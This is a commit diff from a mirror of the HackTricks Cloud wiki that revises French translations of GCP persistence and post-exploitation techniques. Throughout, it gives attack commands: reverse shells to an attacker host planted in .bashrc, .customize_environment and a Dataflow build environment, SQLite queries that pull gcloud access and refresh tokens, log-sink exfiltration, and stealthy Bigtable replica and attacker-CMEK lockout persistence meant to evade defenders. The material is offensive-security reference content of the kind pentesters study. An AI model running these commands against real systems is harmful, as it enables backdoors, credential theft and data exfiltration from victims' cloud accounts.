mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-s
This commit is contained in:
@@ -12,9 +12,13 @@ Pour plus d'informations sur Bigtable, consultez :
|
||||
|
||||
### App Profile dédié à l'attaquant
|
||||
|
||||
**Autorisations :** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
|
||||
**Permissions:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
|
||||
|
||||
Créez un app profile qui redirige le trafic vers votre replica cluster et activez Data Boost afin de ne jamais dépendre de provisioned nodes que les défenseurs pourraient détecter.
|
||||
Créez un app profile qui redirige le trafic vers votre replica cluster et activez Data Boost afin de ne jamais dépendre de provisioned nodes que les défenseurs pourraient remarquer.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer un app profile discret</summary>
|
||||
```bash
|
||||
gcloud bigtable app-profiles create stealth-profile \
|
||||
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
|
||||
@@ -24,29 +28,41 @@ gcloud bigtable app-profiles update stealth-profile \
|
||||
--instance=<instance-id> --data-boost \
|
||||
--data-boost-compute-billing-owner=HOST_PAYS
|
||||
```
|
||||
Tant que ce profil existe, vous pouvez vous reconnecter en utilisant des identifiants récents qui le référencent.
|
||||
</details>
|
||||
|
||||
### Maintenez votre propre cluster répliqué
|
||||
Tant que ce profil existe, vous pouvez vous reconnecter en utilisant de nouveaux identifiants qui y font référence.
|
||||
|
||||
**Autorisations:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
|
||||
### Maintenir votre propre cluster répliqué
|
||||
|
||||
Provisionnez un cluster avec un nombre minimal de nœuds dans une région peu active. Même si vos identités client disparaissent, **le cluster conserve une copie complète de chaque table** jusqu'à ce que les défenseurs la suppriment explicitement.
|
||||
**Permissions:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
|
||||
|
||||
Provisionnez un cluster avec un nombre minimal de nœuds dans une région peu utilisée. Même si vos identités client disparaissent, **le cluster conserve une copie complète de chaque table** jusqu'à ce que les défenseurs la suppriment explicitement.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer un cluster répliqué</summary>
|
||||
```bash
|
||||
gcloud bigtable clusters create dark-clone \
|
||||
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
|
||||
```
|
||||
Surveillez-le via `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` afin de pouvoir mettre à l'échelle instantanément lorsque vous devez récupérer des données.
|
||||
Surveillez-le via `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` afin de pouvoir monter en puissance instantanément lorsque vous devez extraire des données.
|
||||
|
||||
### Verrouillez la réplication derrière votre propre CMEK
|
||||
|
||||
**Permissions:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` sur la clé contrôlée par l'attaquant.
|
||||
**Autorisations :** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` sur la clé détenue par l'attaquant.
|
||||
|
||||
Fournissez votre propre clé KMS lors du déploiement d'un clone. Sans cette clé, Google ne peut pas recréer ni basculer le cluster, donc les blue teams doivent se coordonner avec vous avant d'y toucher.
|
||||
Apportez votre propre clé KMS lors du déploiement d'un clone. Sans cette clé, Google ne peut ni recréer ni basculer le cluster, donc les blue teams doivent se coordonner avec vous avant d'y toucher.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer un cluster protégé par CMEK</summary>
|
||||
```bash
|
||||
gcloud bigtable clusters create cmek-clone \
|
||||
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
|
||||
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
|
||||
```
|
||||
Faites pivoter ou désactivez la clé dans votre projet pour rendre la réplique immédiatement inutilisable (tout en vous permettant de la réactiver plus tard).
|
||||
</details>
|
||||
|
||||
Faites pivoter ou désactivez la clé dans votre projet pour bricker instantanément la replica (tout en vous permettant de la réactiver plus tard).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# GCP - Persistance dans Cloud Shell
|
||||
# GCP - Cloud Shell Persistance
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,47 +10,65 @@ Pour plus d'informations, consultez :
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Backdoor Persistante
|
||||
### Persistent Backdoor
|
||||
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) vous fournit un accès en ligne de commande à vos ressources cloud directement depuis votre navigateur sans aucun coût associé.
|
||||
|
||||
Vous pouvez accéder à Cloud Shell de Google depuis la **console web** ou en exécutant **`gcloud cloud-shell ssh`**.
|
||||
Vous pouvez accéder au Cloud Shell de Google depuis la **console web** ou en exécutant **`gcloud cloud-shell ssh`**.
|
||||
|
||||
Cette console a des capacités intéressantes pour les attaquants :
|
||||
Cette console présente des capacités intéressantes pour les attaquants :
|
||||
|
||||
1. **Tout utilisateur Google ayant accès à Google Cloud** a accès à une instance Cloud Shell entièrement authentifiée (les Comptes de Service peuvent, même en étant Propriétaires de l'organisation).
|
||||
2. Cette instance **maintiendra son répertoire personnel pendant au moins 120 jours** s'il n'y a pas d'activité.
|
||||
3. Il n'y a **aucune capacité pour une organisation de surveiller** l'activité de cette instance.
|
||||
1. **Any Google user with access to Google Cloud** — Tout utilisateur Google ayant accès à Google Cloud a accès à une instance Cloud Shell entièrement authentifiée (Les Service Accounts peuvent le faire, même en étant Owners de l'org).
|
||||
2. L'instance conservera son répertoire home **pendant au moins 120 jours** si aucune activité n'est détectée.
|
||||
3. Il n'existe **aucune capacité pour une organisation de surveiller** l'activité de cette instance.
|
||||
|
||||
Cela signifie essentiellement qu'un attaquant peut placer une backdoor dans le répertoire personnel de l'utilisateur et tant que l'utilisateur se connecte au GC Shell au moins tous les 120 jours, la backdoor survivra et l'attaquant obtiendra un shell chaque fois qu'il sera exécuté simplement en faisant :
|
||||
Cela signifie essentiellement qu'un attaquant peut placer un backdoor dans le répertoire home de l'utilisateur et tant que l'utilisateur se connecte au GC Shell au moins tous les 120 jours, le backdoor survivra et l'attaquant obtiendra un shell à chaque exécution simplement en faisant :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ajouter une reverse shell dans .bashrc</summary>
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
Il y a un autre fichier dans le dossier personnel appelé **`.customize_environment`** qui, s'il existe, sera **exécuté à chaque fois** que l'utilisateur accède au **cloud shell** (comme dans la technique précédente). Il suffit d'insérer la porte dérobée précédente ou une comme celle-ci pour maintenir la persistance tant que l'utilisateur utilise "fréquemment" le cloud shell :
|
||||
</details>
|
||||
|
||||
Il y a un autre fichier dans le dossier home appelé **`.customize_environment`** qui, s'il existe, va être **exécuté à chaque fois** que l'utilisateur accède au **cloud shell** (comme dans la technique précédente). Il suffit d'insérer le backdoor précédent ou un backdoor similaire comme suit pour maintenir la persistance tant que l'utilisateur utilise "fréquemment" le cloud shell :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer un backdoor .customize_environment</summary>
|
||||
```bash
|
||||
#!/bin/sh
|
||||
apt-get install netcat -y
|
||||
nc <LISTENER-ADDR> 443 -e /bin/bash
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!WARNING]
|
||||
> Il est important de noter que **la première fois qu'une action nécessitant une authentification est effectuée**, une fenêtre d'autorisation contextuelle apparaît dans le navigateur de l'utilisateur. Cette fenêtre doit être acceptée avant que la commande puisse s'exécuter. Si une fenêtre contextuelle inattendue apparaît, cela pourrait susciter des soupçons et potentiellement compromettre la méthode de persistance utilisée.
|
||||
> Il est important de noter que la **première fois qu'une action nécessitant une authentification est effectuée**, une fenêtre contextuelle d'autorisation apparaît dans le navigateur de l'utilisateur. Cette fenêtre doit être acceptée avant que la commande puisse s'exécuter. Si une fenêtre contextuelle inattendue apparaît, cela pourrait éveiller les soupçons et compromettre potentiellement la méthode de persistence utilisée.
|
||||
|
||||
Ceci est la fenêtre contextuelle résultant de l'exécution de `gcloud projects list` depuis le cloud shell (en tant qu'attaquant) vue dans la session utilisateur du navigateur :
|
||||
|
||||
<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Cependant, si l'utilisateur a activement utilisé le cloudshell, la fenêtre contextuelle n'apparaîtra pas et vous pouvez **rassembler les tokens de l'utilisateur avec** :
|
||||
Cependant, si l'utilisateur a activement utilisé le cloudshell, la fenêtre contextuelle n'apparaîtra pas et vous pouvez **récupérer les tokens de l'utilisateur avec** :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Récupérer les access tokens depuis Cloud Shell</summary>
|
||||
```bash
|
||||
gcloud auth print-access-token
|
||||
gcloud auth application-default print-access-token
|
||||
```
|
||||
</details>
|
||||
|
||||
#### Comment la connexion SSH est établie
|
||||
|
||||
Fondamentalement, ces 3 appels API sont utilisés :
|
||||
Essentiellement, ces 3 appels d'API sont utilisés :
|
||||
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (vous obligera à ajouter votre clé publique que vous avez créée localement)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (vous obligera à démarrer l'instance)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (vous indiquera l'IP du google cloud shell)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (vous permettra d'ajouter la clé publique que vous avez créée localement)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (démarrera l'instance)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (vous indiquera l'IP du Google Cloud Shell)
|
||||
|
||||
Mais vous pouvez trouver plus d'informations dans [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
|
||||
|
||||
@@ -1,12 +1,16 @@
|
||||
# GCP - Persistance Dataflow
|
||||
# GCP - Dataflow Persistance
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dataflow
|
||||
|
||||
### Persistance invisible dans le conteneur intégré
|
||||
### Persistance invisible dans le conteneur construit
|
||||
|
||||
En suivant le [**tutoriel de la documentation**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates), vous pouvez créer un nouveau modèle flex (par exemple, python) :
|
||||
En suivant le [**tutoriel de la documentation**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) vous pouvez créer un nouveau flex template (par exemple python) :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer un Dataflow flex template avec backdoor</summary>
|
||||
```bash
|
||||
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
|
||||
cd python-docs-samples/dataflow/flex-templates/getting_started
|
||||
@@ -36,9 +40,15 @@ gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
|
||||
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
|
||||
--region=us-central1
|
||||
```
|
||||
**Pendant sa construction, vous obtiendrez un reverse shell** (vous pourriez abuser des variables d'environnement comme dans l'exemple précédent ou d'autres paramètres qui définissent le fichier Docker pour exécuter des choses arbitraires). À ce moment-là, à l'intérieur du reverse shell, il est possible de **aller dans le répertoire `/template` et de modifier le code du script python principal qui sera exécuté (dans notre exemple, c'est `getting_started.py`)**. Placez votre backdoor ici afin que chaque fois que le job est exécuté, il l'exécute.
|
||||
</details>
|
||||
|
||||
Ensuite, la prochaine fois que le job est exécuté, le conteneur compromis construit sera lancé :
|
||||
**Pendant la construction, vous obtiendrez une reverse shell** (vous pouvez abuser des env variables comme dans l'exemple précédent ou d'autres paramètres qui configurent le Docker file pour exécuter des choses arbitraires). À ce moment-là, depuis la reverse shell, il est possible de **se rendre dans le répertoire `/template` et modifier le code du script python principal qui sera exécuté (dans notre exemple il s'agit de `getting_started.py`)**. Installez votre backdoor ici afin qu'à chaque exécution du job, elle soit exécutée.
|
||||
|
||||
Alors, la prochaine fois que le job sera exécuté, le container compromis construit sera lancé :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Run Dataflow template</summary>
|
||||
```bash
|
||||
# Run template
|
||||
gcloud dataflow $NAME_TEMPLATE run testing \
|
||||
@@ -46,4 +56,6 @@ gcloud dataflow $NAME_TEMPLATE run testing \
|
||||
--parameters=output="gs://$REPOSITORY/out" \
|
||||
--region=us-central1
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# GCP - Persistance des journaux
|
||||
# GCP - Persistance des logs
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Journaux
|
||||
## Journalisation
|
||||
|
||||
Trouvez plus d'informations sur les journaux dans :
|
||||
Plus d'informations sur la journalisation :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-logging-enum.md
|
||||
@@ -12,8 +12,14 @@ Trouvez plus d'informations sur les journaux dans :
|
||||
|
||||
### `logging.sinks.create`
|
||||
|
||||
Créez un sink pour exfiltrer les journaux vers une destination accessible par l'attaquant :
|
||||
Créer un sink pour exfiltrer les logs vers une destination accessible par un attaquant :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer un sink de logs</summary>
|
||||
```bash
|
||||
gcloud logging sinks create <sink-name> <destination> --log-filter="FILTER_CONDITION"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,51 +1,79 @@
|
||||
# GCP - Persistance de Token
|
||||
# GCP - Persistance des tokens
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Tokens d'Utilisateur Authentifié
|
||||
### Tokens d'utilisateurs authentifiés
|
||||
|
||||
Pour obtenir le **token actuel** d'un utilisateur, vous pouvez exécuter :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Obtenir l'access token depuis la base de données SQLite</summary>
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
|
||||
```
|
||||
Vérifiez sur cette page comment **utiliser directement ce jeton avec gcloud** :
|
||||
</details>
|
||||
|
||||
Consultez cette page pour voir comment **utiliser directement ce token avec gcloud** :
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
|
||||
{{#endref}}
|
||||
|
||||
Pour obtenir les détails pour **générer un nouveau jeton d'accès**, exécutez :
|
||||
Pour obtenir les détails pour **générer un nouvel access token**, exécutez :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Obtenir le refresh token depuis la base de données SQLite</summary>
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
|
||||
```
|
||||
Il est également possible de trouver des jetons de rafraîchissement dans **`$HOME/.config/gcloud/application_default_credentials.json`** et dans **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
|
||||
</details>
|
||||
|
||||
Pour obtenir un nouveau jeton d'accès rafraîchi avec le **jeton de rafraîchissement**, l'ID client et le secret client, exécutez :
|
||||
Il est aussi possible de trouver des refresh tokens dans **`$HOME/.config/gcloud/application_default_credentials.json`** et dans **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
|
||||
|
||||
Pour obtenir un nouvel access token rafraîchi avec le **refresh token**, le client ID et le client secret, exécutez :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Obtenir un nouvel access token en utilisant le refresh token</summary>
|
||||
```bash
|
||||
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
La validité des jetons de rafraîchissement peut être gérée dans **Admin** > **Security** > **Google Cloud session control**, et par défaut, elle est définie sur 16h bien qu'elle puisse être réglée pour ne jamais expirer :
|
||||
</details>
|
||||
|
||||
La validité des refresh tokens peut être gérée dans **Admin** > **Security** > **Google Cloud session control**, et par défaut elle est réglée sur 16h bien qu'elle puisse être configurée pour n'expirer jamais :
|
||||
|
||||
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Auth flow
|
||||
### Flux d'authentification
|
||||
|
||||
Le flux d'authentification lors de l'utilisation de quelque chose comme `gcloud auth login` ouvrira une invite dans le navigateur et après avoir accepté tous les scopes, le navigateur enverra une requête comme celle-ci au port http ouvert par l'outil :
|
||||
Le flux d'authentification lors de l'utilisation de quelque chose comme `gcloud auth login` ouvrira une fenêtre dans le navigateur et, après avoir accepté tous les scopes, le navigateur enverra une requête comme celle-ci au port http ouvert par l'outil :
|
||||
```
|
||||
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
|
||||
```
|
||||
Ensuite, gcloud utilisera l'état et le code avec un `client_id` codé en dur (`32555940559.apps.googleusercontent.com`) et **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) pour obtenir les **données finales du jeton de rafraîchissement**.
|
||||
Ensuite, gcloud utilisera le state et le code avec un `client_id` codé en dur (`32555940559.apps.googleusercontent.com`) et **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) pour obtenir les **données finales du refresh token**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Notez que la communication avec localhost se fait en HTTP, il est donc possible d'intercepter les données pour obtenir un jeton de rafraîchissement, cependant ces données ne sont valides qu'une seule fois, donc cela serait inutile, il est plus facile de lire le jeton de rafraîchissement à partir du fichier.
|
||||
> Notez que la communication avec localhost se fait en HTTP, il est donc possible d'intercepter les données pour obtenir un refresh token ; toutefois ces données ne sont valables qu'une seule fois, donc cela serait inutile — il est plus simple de lire le refresh token depuis le fichier.
|
||||
|
||||
### OAuth Scopes
|
||||
### Portées OAuth
|
||||
|
||||
Vous pouvez trouver tous les scopes Google sur [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) ou les obtenir en exécutant :
|
||||
Vous pouvez trouver toutes les portées Google sur [https://developers.google.com/identity/protocols/oauth2/scopes] ou les obtenir en exécutant:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Récupérer toutes les portées OAuth de Google</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
|
||||
```
|
||||
Il est possible de voir quels scopes l'application que **`gcloud`** utilise pour s'authentifier peut prendre en charge avec ce script :
|
||||
</details>
|
||||
|
||||
Il est possible de voir quels scopes l'application que **`gcloud`** utilise pour s'authentifier peut supporter avec ce script :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Tester les scopes pris en charge par gcloud</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
@@ -55,7 +83,9 @@ echo $scope
|
||||
fi
|
||||
done
|
||||
```
|
||||
Après l'exécution, il a été vérifié que cette application prend en charge ces portées :
|
||||
</details>
|
||||
|
||||
Après exécution, il a été vérifié que cette application prend en charge ces scopes :
|
||||
```
|
||||
https://www.googleapis.com/auth/appengine.admin
|
||||
https://www.googleapis.com/auth/bigquery
|
||||
@@ -65,18 +95,18 @@ https://www.googleapis.com/auth/devstorage.full_control
|
||||
https://www.googleapis.com/auth/drive
|
||||
https://www.googleapis.com/auth/userinfo.email
|
||||
```
|
||||
il est intéressant de voir comment cette application prend en charge le **`drive`** scope, ce qui pourrait permettre à un utilisateur d'escalader de GCP à Workspace si un attaquant parvient à forcer l'utilisateur à générer un token avec ce scope.
|
||||
c'est intéressant de voir comment cette app prend en charge le **`drive`** scope, ce qui pourrait permettre à un utilisateur d'escalader de GCP vers Workspace si un attaquant parvient à forcer l'utilisateur à générer un token avec ce scope.
|
||||
|
||||
**Vérifiez comment** [**abuser de cela ici**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
|
||||
**Check how to** [**abuse this here**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
|
||||
|
||||
### Comptes de service
|
||||
|
||||
Tout comme avec les utilisateurs authentifiés, si vous parvenez à **compromettre le fichier de clé privée** d'un compte de service, vous pourrez **y accéder généralement aussi longtemps que vous le souhaitez**.\
|
||||
Cependant, si vous volez le **token OAuth** d'un compte de service, cela peut être encore plus intéressant, car, même si par défaut ces tokens ne sont utiles que pendant une heure, si la **victime supprime la clé API privée, le token OAuth restera valide jusqu'à son expiration**.
|
||||
Tout comme pour les utilisateurs authentifiés, si vous parvenez à **compromettre le fichier de clé privée** d'un compte de service vous pourrez **y accéder généralement aussi longtemps que vous le souhaitez**.\
|
||||
Cependant, si vous volez le **OAuth token** d'un compte de service cela peut être encore plus intéressant, car, même si par défaut ces tokens ne sont utiles qu'une heure, si la **victime supprime la clé API privée, le OAuth token restera valide jusqu'à son expiration**.
|
||||
|
||||
### Métadonnées
|
||||
|
||||
Évidemment, tant que vous êtes à l'intérieur d'une machine fonctionnant dans l'environnement GCP, vous pourrez **accéder au compte de service attaché à cette machine en contactant le point de terminaison des métadonnées** (notez que les tokens OAuth auxquels vous pouvez accéder à ce point de terminaison sont généralement restreints par des scopes).
|
||||
Évidemment, tant que vous êtes à l'intérieur d'une machine exécutée dans l'environnement GCP vous pourrez **accéder au compte de service attaché à cette machine en contactant le metadata endpoint** (notez que les OAuth tokens accessibles via cet endpoint sont généralement restreints par des scopes).
|
||||
|
||||
### Remédiations
|
||||
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
# GCP - Persistance de Stockage
|
||||
# GCP - Storage Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Stockage
|
||||
## Storage
|
||||
|
||||
Pour plus d'informations sur Cloud Storage, consultez :
|
||||
|
||||
@@ -12,7 +12,11 @@ Pour plus d'informations sur Cloud Storage, consultez :
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
Vous pouvez créer un HMAC pour maintenir la persistance sur un bucket. Pour plus d'informations sur cette technique [**vérifiez ici**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
|
||||
Vous pouvez créer une clé HMAC pour maintenir la persistence sur un bucket. Pour plus d'informations sur cette technique [**voir ici**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer et utiliser une clé HMAC pour l'accès à Storage</summary>
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email>
|
||||
@@ -23,11 +27,13 @@ gsutil config -a
|
||||
# Use it
|
||||
gsutil ls gs://[BUCKET_NAME]
|
||||
```
|
||||
Un autre script d'exploitation pour cette méthode peut être trouvé [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
</details>
|
||||
|
||||
Un autre script d'exploit pour cette méthode peut être trouvé [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
|
||||
### Donner un accès public
|
||||
|
||||
**Rendre un bucket accessible au public** est une autre façon de maintenir l'accès au bucket. Vérifiez comment le faire dans :
|
||||
**Rendre un bucket accessible publiquement** est une autre façon de maintenir l'accès au bucket. Voir comment le faire dans :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-storage-post-exploitation.md
|
||||
|
||||
+13
-7
@@ -1,4 +1,4 @@
|
||||
# GCP - App Engine Post Exploitation
|
||||
# GCP - App Engine Post-exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -17,25 +17,31 @@ Avec ces permissions, il est possible de :
|
||||
- Ajouter une clé
|
||||
- Lister les clés
|
||||
- Obtenir une clé
|
||||
- Supprimer
|
||||
- Supprimer une clé
|
||||
|
||||
> [!CAUTION]
|
||||
> Cependant, je **n'ai trouvé aucun moyen d'accéder à ces informations depuis le cli**, seulement depuis la **console web** où vous devez connaître le **type de clé** et le **nom de clé**, ou depuis l'**application en cours d'exécution de l'app engine**.
|
||||
> Cependant, je **n'ai pas trouvé de moyen d'accéder à ces informations depuis la cli**, seulement depuis la **console web** où vous devez connaître le **Key type** et le **Key name**, ou depuis l'a**pp engine running app**.
|
||||
>
|
||||
> Si vous connaissez des moyens plus simples d'utiliser ces permissions, envoyez une Pull Request !
|
||||
> Si vous connaissez des moyens plus simples d'utiliser ces permissions, envoyez un Pull Request!
|
||||
|
||||
### `logging.views.access`
|
||||
|
||||
Avec cette permission, il est possible de **voir les journaux de l'App** :
|
||||
Avec cette permission, il est possible de **voir les logs de l'App** :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Tail app logs</summary>
|
||||
```bash
|
||||
gcloud app logs tail -s <name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### Lire le code source
|
||||
|
||||
Le code source de toutes les versions et services est **stocké dans le bucket** nommé **`staging.<proj-id>.appspot.com`**. Si vous avez un accès en écriture, vous pouvez lire le code source et rechercher des **vulnérabilités** et des **informations sensibles**.
|
||||
Le code source de toutes les versions et services est **stocké dans le bucket** nommé **`staging.<proj-id>.appspot.com`**. Si vous disposez d'un accès en écriture, vous pouvez lire le code source et rechercher des **vulnérabilités** et des **informations sensibles**.
|
||||
|
||||
### Modifier le code source
|
||||
|
||||
Modifiez le code source pour voler des identifiants s'ils sont envoyés ou effectuer une attaque de défiguration web.
|
||||
Modifiez le code source pour voler des credentials s'ils sont envoyés ou pour effectuer une defacement web attack.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+99
-39
@@ -1,4 +1,4 @@
|
||||
# GCP - Bigtable Post-exploitation
|
||||
# GCP - Bigtable Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -11,30 +11,46 @@ Pour plus d'informations sur Bigtable, consultez :
|
||||
{{#endref}}
|
||||
|
||||
> [!TIP]
|
||||
> Installez l'interface en ligne de commande `cbt` une fois via le Cloud SDK afin que les commandes ci-dessous fonctionnent localement :
|
||||
> Installez une fois le CLI `cbt` via le Cloud SDK pour que les commandes ci-dessous fonctionnent localement :
|
||||
>
|
||||
> <details>
|
||||
>
|
||||
> <summary>Installer le CLI `cbt`</summary>
|
||||
>
|
||||
> ```bash
|
||||
> gcloud components install cbt
|
||||
> ```
|
||||
>
|
||||
> </details>
|
||||
|
||||
### Lire les lignes
|
||||
|
||||
**Permissions :** `bigtable.tables.readRows`
|
||||
**Autorisations :** `bigtable.tables.readRows`
|
||||
|
||||
`cbt` est fourni avec le Cloud SDK et interagit directement avec les APIs admin/data sans passer par un middleware. Pointez-le vers le projet/instance compromis et extrayez les lignes directement de la table. Limitez le scan si vous ne voulez qu'un aperçu.
|
||||
`cbt` est fourni avec le Cloud SDK et se connecte aux admin/data APIs sans nécessiter de middleware. Pointez-le vers le projet/instance compromis et récupérez les lignes directement depuis la table. Limitez le scan si vous n'avez besoin que d'un aperçu.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Lire les entrées Bigtable</summary>
|
||||
```bash
|
||||
# Install cbt
|
||||
gcloud components update
|
||||
gcloud components install cbt
|
||||
|
||||
# Read entries with creds of gcloud
|
||||
# Read entries with creds of gcloud
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
### Écrire des lignes
|
||||
|
||||
**Autorisations :** `bigtable.tables.mutateRows`, (vous aurez besoin de `bigtable.tables.readRows` pour confirmer la modification).
|
||||
**Permissions:** `bigtable.tables.mutateRows`, (you will need `bigtable.tables.readRows` to confirm the change).
|
||||
|
||||
Utilisez le même outil pour upsert des cellules arbitraires. C'est le moyen le plus rapide pour backdoorer des configs, déposer des web shells, ou implanter des rows de dataset empoisonnées.
|
||||
